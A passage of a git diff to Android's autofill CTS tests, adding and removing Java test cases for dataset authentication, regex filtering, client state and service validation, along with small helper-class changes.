+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
+ public void testDatasetAuthFilteringUsingRegex() throws Exception {
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Create the authentication intents
+ final CannedDataset unlockedDataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .build();
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ unlockedDataset);
+
+ // Configure the service behavior
+
+ final Pattern min2Chars = Pattern.compile(".{2,}");
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, min2Chars)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+ .setPresentation(createPresentation("Tap to auth dataset"))
+ .setAuthentication(authentication)
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // ...then type something to hide it.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // ...now type something again to show it, as the input will have 2 chars.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // Delete the char and assert it's not shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // ...then type something again to show it, as the input will have 2 chars.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiShownEvent(username);
+
+ // ...and select it this time
+ sUiBot.selectDataset("Tap to auth dataset");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
datasetAuthMixedFilteringTest(true);
}
@@ -2310,10 +2720,6 @@
}
private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2322,7 +2728,6 @@
final CannedDataset unlockedDataset = new CannedDataset.Builder()
.setField(ID_USERNAME, "DUDE")
.setField(ID_PASSWORD, "SWEET")
- .setPresentation(bogusPresentation)
.build();
final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
unlockedDataset);
@@ -2330,8 +2735,8 @@
// Configure the service behavior
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset"))
.setAuthentication(authentication)
.build())
@@ -2389,6 +2794,79 @@
}
@Test
+ public void testDatasetAuthClientStateSetOnIntentOnly() throws Exception {
+ fillDatasetAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+ }
+
+ @Test
+ public void testDatasetAuthClientStateSetOnFillResponseOnly() throws Exception {
+ fillDatasetAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+ }
+
+ @Test
+ public void testDatasetAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+ fillDatasetAuthWithClientState(ClientStateLocation.BOTH);
+ }
+
+ private void fillDatasetAuthWithClientState(ClientStateLocation where) throws Exception {
+ // Set service.
+ enableService();
+
+ // Prepare the authenticated response
+ final CannedDataset dataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .build();
+ final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+ ? AuthenticationActivity.createSender(mContext, 1,
+ dataset)
+ : AuthenticationActivity.createSender(mContext, 1,
+ dataset, newClientState("CSI", "FromIntent"));
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .setExtras(newClientState("CSI", "FromResponse"))
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+ .setPresentation(createPresentation("Tap to auth dataset"))
+ .setAuthentication(authentication)
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Tap authentication request.
+ sUiBot.selectDataset("Tap to auth dataset");
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+
+ // Now trigger save.
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert client state on authentication activity.
+ assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
+
+ // Assert client state on save request.
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+ ? "FromResponse" : "FromIntent";
+ assertClientState("on save", saveRequest.data, "CSI", expectedValue);
+ }
+
+ @Test
public void testDisableSelf() throws Exception {
enableService();
@@ -2938,408 +3416,6 @@
}
@Test
- public void checkFillSelectionAfterSelectingDatasetAuthentication() throws Exception {
- enableService();
-
- // Set up FillResponse with dataset authentication
- Bundle clientState = new Bundle();
- clientState.putCharSequence("clientStateKey", "clientStateValue");
-
- // Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "dude")
- .setField(ID_PASSWORD, "sweet")
- .setPresentation(createPresentation("Dataset"))
- .build());
-
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setId("name")
- .setPresentation(createPresentation("authentication"))
- .setAuthentication(authentication)
- .build())
- .setExtras(clientState).build());
- mActivity.expectAutoFill("dude", "sweet");
-
- // Trigger autofill.
- mActivity.onUsername(View::requestFocus);
-
- // Authenticate
- sUiBot.selectDataset("authentication");
- sReplier.getNextFillRequest();
- mActivity.assertAutoFilled();
-
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
- assertThat(event.getDatasetId()).isEqualTo("name");
- }
-
- @Test
- public void checkFillSelectionAfterSelectingAuthentication() throws Exception {
- enableService();
-
- // Set up FillResponse with response wide authentication
- Bundle clientState = new Bundle();
- clientState.putCharSequence("clientStateKey", "clientStateValue");
-
- // Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
- new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setId("name")
- .setPresentation(createPresentation("dataset"))
- .build())
- .setExtras(clientState).build());
-
- sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
- .setPresentation(createPresentation("authentication"))
- .setAuthentication(authentication, ID_USERNAME)
- .build());
-
- // Trigger autofill.
- mActivity.onUsername(View::requestFocus);
-
- // Authenticate
- sUiBot.selectDataset("authentication");
- sReplier.getNextFillRequest();
- sUiBot.assertDatasets("dataset");
-
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- @Test
- public void checkFillSelectionAfterSelectingTwoDatasets() throws Exception {
- enableService();
-
- // Set up first partition with an anonymous dataset
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setPresentation(createPresentation("dataset1"))
- .build())
- .build());
- mActivity.expectAutoFill("username");
-
- // Trigger autofill on username
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sUiBot.selectDataset("dataset1");
- sReplier.getNextFillRequest();
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState()).isNull();
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- // Set up second partition with a named dataset
- Bundle clientState = new Bundle();
- clientState.putCharSequence("clientStateKey", "clientStateValue");
-
- sReplier.addResponse(new CannedFillResponse.Builder()
- .addDataset(
- new CannedDataset.Builder()
- .setField(ID_PASSWORD, "password2")
- .setPresentation(createPresentation("dataset2"))
- .setId("name2")
- .build())
- .addDataset(
- new CannedDataset.Builder()
- .setField(ID_PASSWORD, "password3")
- .setPresentation(createPresentation("dataset3"))
- .setId("name3")
- .build())
- .setExtras(clientState)
- .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
- mActivity.expectPasswordAutoFill("password3");
-
- // Trigger autofill on password
- mActivity.onPassword(View::requestFocus);
- sUiBot.selectDataset("dataset3");
- sReplier.getNextFillRequest();
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isEqualTo("name3");
- }
-
- mActivity.onPassword((v) -> v.setText("new password"));
- mActivity.syncRunOnUiThread(() -> mActivity.finish());
- waitUntilDisconnected();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
-
- assertThat(selection.getEvents().size()).isEqualTo(2);
- FillEventHistory.Event event1 = selection.getEvents().get(0);
- assertThat(event1.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event1.getDatasetId()).isEqualTo("name3");
-
- FillEventHistory.Event event2 = selection.getEvents().get(1);
- assertThat(event2.getType()).isEqualTo(TYPE_SAVE_SHOWN);
- assertThat(event2.getDatasetId()).isNull();
- }
- }
-
- @Test
- public void checkFillSelectionIsResetAfterReturningNull() throws Exception {
- enableService();
-
- // First reset
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setPresentation(createPresentation("dataset1"))
- .build())
- .build());
- mActivity.expectAutoFill("username");
-
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sReplier.getNextFillRequest();
- sUiBot.selectDataset("dataset1");
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState()).isNull();
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- // Second request
- sReplier.addResponse(NO_RESPONSE);
- mActivity.onPassword(View::requestFocus);
- sReplier.getNextFillRequest();
- sUiBot.assertNoDatasets();
- waitUntilDisconnected();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection).isNull();
- }
- }
-
- @Test
- public void checkFillSelectionIsResetAfterReturningError() throws Exception {
- enableService();
-
- // First reset
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setPresentation(createPresentation("dataset1"))
- .build())
- .build());
- mActivity.expectAutoFill("username");
-
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sReplier.getNextFillRequest();
- sUiBot.selectDataset("dataset1");
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState()).isNull();
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- // Second request
- sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
- mActivity.onPassword(View::requestFocus);
- sReplier.getNextFillRequest();
- sUiBot.assertNoDatasets();
- waitUntilDisconnected();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection).isNull();
- }
- }
-
- @Test
- public void checkFillSelectionIsResetAfterTimeout() throws Exception {
- enableService();
-
- // First reset
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setPresentation(createPresentation("dataset1"))
- .build())
- .build());
- mActivity.expectAutoFill("username");
-
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sReplier.getNextFillRequest();
- sUiBot.selectDataset("dataset1");
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState()).isNull();
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- // Second request
- sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
- mActivity.onPassword(View::requestFocus);
- sReplier.getNextFillRequest();
- waitUntilDisconnected();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection).isNull();
- }
- }
-
- private Bundle getBundle(String key, String value) {
- final Bundle bundle = new Bundle();
- bundle.putString(key, value);
- return bundle;
- }
-
- /**
- * Tests the following scenario:
- *
- * <ol>
- * <li>Activity A is launched.
- * <li>Activity A triggers autofill.
- * <li>Activity B is launched.
- * <li>Activity B triggers autofill.
- * <li>User goes back to Activity A.
- * <li>User triggers save on Activity A - at this point, service should have stats of
- * activity B, and stats for activity A should have beeen discarded.
- * </ol>
- */
- @Test
- public void checkFillSelectionFromPreviousSessionIsDiscarded() throws Exception {
- enableService();
-
- // Launch activity A
- sReplier.addResponse(new CannedFillResponse.Builder()
- .setExtras(getBundle("activity", "A"))
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
- .build());
-
- // Trigger autofill on activity A
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sReplier.getNextFillRequest();
-
- // Verify fill selection for Activity A
- FillEventHistory selectionA = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selectionA.getClientState().getString("activity")).isEqualTo("A");
- assertThat(selectionA.getEvents()).isNull();
-
- // Launch activity B
- mContext.startActivity(new Intent(mContext, CheckoutActivity.class));
-
- // Trigger autofill on activity B
- sReplier.addResponse(new CannedFillResponse.Builder()
- .setExtras(getBundle("activity", "B"))
- .addDataset(new CannedDataset.Builder()
- .setField(ID_CC_NUMBER, "4815162342")
- .setPresentation(createPresentation("datasetB"))
- .build())
- .build());
- sUiBot.focusByRelativeId(ID_CC_NUMBER);
- sReplier.getNextFillRequest();
-
- // Verify fill selection for Activity B
- final FillEventHistory selectionB = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selectionB.getClientState().getString("activity")).isEqualTo("B");
- assertThat(selectionB.getEvents()).isNull();
-
- // Now switch back to A...
- sUiBot.pressBack(); // dismiss keyboard
- sUiBot.pressBack(); // dismiss task
- sUiBot.assertShownByRelativeId(ID_USERNAME);
- // ...and trigger save
- // Set credentials...
- mActivity.onUsername((v) -> v.setText("malkovich"));
- mActivity.onPassword((v) -> v.setText("malkovich"));
- final String expectedMessage = getWelcomeMessage("malkovich");
- final String actualMessage = mActivity.tapLogin();
- assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
- sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
- sReplier.getNextSaveRequest();
-
- // Finally, make sure history is right
- final FillEventHistory finalSelection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(finalSelection.getClientState().getString("activity")).isEqualTo("B");
- assertThat(finalSelection.getEvents()).isNull();
-
- }
-
- @Test
public void testIsServiceEnabled() throws Exception {
disableService();
final AutofillManager afm = mActivity.getAutofillManager();
@@ -3395,6 +3471,45 @@
}
@Test
+ public void testServiceIsDisabledWhenNewServiceInfoIsInvalid() throws Exception {
+ serviceIsDisabledWhenNewServiceIsInvalid(BadAutofillService.SERVICE_NAME);
+ }
+
+ @Test
+ public void testServiceIsDisabledWhenNewServiceNameIsInvalid() throws Exception {
+ serviceIsDisabledWhenNewServiceIsInvalid("Y_U_NO_VALID");
+ }
+
+ private void serviceIsDisabledWhenNewServiceIsInvalid(String serviceName) throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("The Dude");
+
+ // Now disable service by setting another service...
+ Helper.enableAutofillService(mContext, serviceName);
+
+ // ...and make sure popup's gone
+ sUiBot.assertNoDatasets();
+
+ // Then try to trigger autofill again...
+ mActivity.onPassword(View::requestFocus);
+ //...it should not work!
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
public void testAutofillMovesCursorToTheEnd() throws Exception {
// Set service.
enableService();
@@ -3491,4 +3606,27 @@
waitUntilDisconnected();
listener.assertOnCancelCalled();
}
+
+ @Test
+ public void testNewTextAttributes() throws Exception {
+ enableService();
+ sReplier.addResponse(NO_RESPONSE);
+ mActivity.onUsername(View::requestFocus);
+
+ final FillRequest request = sReplier.getNextFillRequest();
+ final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
+ assertThat(username.getMinTextEms()).isEqualTo(2);
+ assertThat(username.getMaxTextEms()).isEqualTo(5);
+ assertThat(username.getMaxTextLength()).isEqualTo(25);
+
+ final ViewNode container = findNodeByResourceId(request.structure, ID_USERNAME_CONTAINER);
+ assertThat(container.getMinTextEms()).isEqualTo(-1);
+ assertThat(container.getMaxTextEms()).isEqualTo(-1);
+ assertThat(container.getMaxTextLength()).isEqualTo(-1);
+
+ final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
+ assertThat(password.getMinTextEms()).isEqualTo(-1);
+ assertThat(password.getMaxTextEms()).isEqualTo(-1);
+ assertThat(password.getMaxTextLength()).isEqualTo(-1);
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
deleted file mode 100644
index 52c3bcc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.support.annotation.NonNull;
-import android.support.annotation.Nullable;
-import android.util.Log;
-
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Helper used to catch multiple exceptions that might have happened in a test case.
- */
-// TODO: move to common CTS code (and add test cases to it)
-public final class MultipleExceptionsCatcher {
-
- private static final String TAG = "MultipleExceptionsCatcher";
-
- private final List<Throwable> mThrowables = new ArrayList<>();
-
- /**
- * Runs {@code r} postponing any thrown exception to {@link #throwIfAny()}.
- */
- public MultipleExceptionsCatcher run(@NonNull Runnable r) {
- try {
- r.run();
- } catch (Throwable t) {
- mThrowables.add(t);
- }
- return this;
- }
-
- /**
- * Adds an exception - if it's not {@code null} to the exceptions thrown by
- * {@link #throwIfAny()}.
- */
- public MultipleExceptionsCatcher add(@Nullable Throwable t) {
- if (t != null) {
- mThrowables.add(t);
- }
- return this;
- }
-
- /**
- * Throws one exception merging all exceptions thrown or added so far, if any.
- */
- public void throwIfAny() throws Throwable {
- if (mThrowables.isEmpty()) return;
-
- final int numberExceptions = mThrowables.size();
- if (numberExceptions == 1) {
- throw mThrowables.get(0);
- }
-
- String msg = "D'OH!";
- try {
- try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
- sw.write("Caught " + numberExceptions + " exceptions\n");
- for (int i = 0; i < numberExceptions; i++) {
- sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
- final Throwable exception = mThrowables.get(i);
- exception.printStackTrace(pw);
- sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
- }
- msg = sw.toString();
- }
- } catch (IOException e) {
- // ignore close() errors - should not happen...
- Log.e(TAG, "Exception closing StringWriter: " + e);
- }
- throw new AssertionError(msg);
- }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
index b264a46..8e8c7e0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
@@ -26,7 +26,7 @@
import java.util.concurrent.TimeUnit;
/**
- * Custom {@link RadioGroup.OnCheckedChangeListener} used to assert an
+ * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
* {@link RadioGroup} was auto-filled properly.
*/
final class MultipleTimesRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
index 1ba8755..50d1d6c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
@@ -20,6 +20,7 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.util.Log;
import android.view.View;
import android.view.autofill.AutofillManager.AutofillCallback;
@@ -32,15 +33,18 @@
*/
final class MyAutofillCallback extends AutofillCallback {
+ private static final String TAG = "MyAutofillCallback";
private final BlockingQueue<MyEvent> mEvents = new LinkedBlockingQueue<>();
@Override
public void onAutofillEvent(View view, int event) {
+ Log.v(TAG, "onAutofillEvent: view=" + view + ", event=" + event);
mEvents.offer(new MyEvent(view, event));
}
@Override
public void onAutofillEvent(View view, int childId, int event) {
+ Log.v(TAG, "onAutofillEvent: view=" + view + ", child=" + childId + ", event=" + event);
mEvents.offer(new MyEvent(view, childId, event));
}
@@ -56,6 +60,17 @@
}
/**
+ * Assert no more events were received.
+ */
+ void assertNotCalled() throws InterruptedException {
+ final MyEvent event = mEvents.poll(CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (event != null) {
+ // Not retryable.
+ throw new IllegalStateException("should not have received " + event);
+ }
+ }
+
+ /**
* Used to assert there is no event left behind.
*/
void assertNumberUnhandledEvents(int expected) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
new file mode 100644
index 0000000..fa233dd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.util.SparseArray;
+import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link WebView} used to assert contents were autofilled.
+ */
+public class MyWebView extends WebView {
+
+ private FillExpectation mExpectation;
+
+ public MyWebView(Context context, AttributeSet attrs) {
+ super(context, attrs);
+ }
+
+ public void expectAutofill(String username, String password) {
+ mExpectation = new FillExpectation(username, password);
+ }
+
+ public void assertAutofilled() throws Exception {
+ assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
+ final boolean set = mExpectation.mLatch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (mExpectation.mException != null) {
+ throw mExpectation.mException;
+ }
+ assertWithMessage("Timeout (%s ms) expecting autofill()", FILL_TIMEOUT_MS)
+ .that(set).isTrue();
+ assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
+ .isEqualTo(mExpectation.mExpectedUsername);
+ assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
+ .isEqualTo(mExpectation.mExpectedPassword);
+ }
+
+ @Override
+ public void autofill(SparseArray<AutofillValue> values) {
+ super.autofill(values);
+
+ if (mExpectation == null) return;
+
+ try {
+ if (values == null || values.size() != 2) {
+ mExpectation.mException =
+ new IllegalArgumentException("Invalid values on autofill(): " + values);
+ } else {
+ try {
+ mExpectation.mActualUsername = values.valueAt(0).getTextValue().toString();
+ mExpectation.mActualPassword = values.valueAt(1).getTextValue().toString();
+ } catch (Exception e) {
+ mExpectation.mException = e;
+ }
+ }
+ } finally {
+ mExpectation.mLatch.countDown();
+ }
+ }
+
+ private class FillExpectation {
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private final String mExpectedUsername;
+ private final String mExpectedPassword;
+ private String mActualUsername;
+ private String mActualPassword;
+ private Exception mException;
+
+ FillExpectation(String username, String password) {
+ this.mExpectedUsername = username;
+ this.mExpectedPassword = password;
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
index 4255b6d..a75ded8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
@@ -21,21 +21,26 @@
import android.service.autofill.FillRequest;
import android.service.autofill.SaveCallback;
import android.service.autofill.SaveRequest;
+import android.util.Log;
/**
* {@link AutofillService} implementation that does not do anything...
*/
public class NoOpAutofillService extends AutofillService {
+ private static final String TAG = "NoOpAutofillService";
+
static final String SERVICE_NAME = NoOpAutofillService.class.getPackage().getName()
+ "/." + NoOpAutofillService.class.getSimpleName();
@Override
public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
FillCallback callback) {
+ Log.d(TAG, "onFillRequest()");
}
@Override
public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+ Log.d(TAG, "onFillResponse()");
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
index d458940..0c5428a 100644
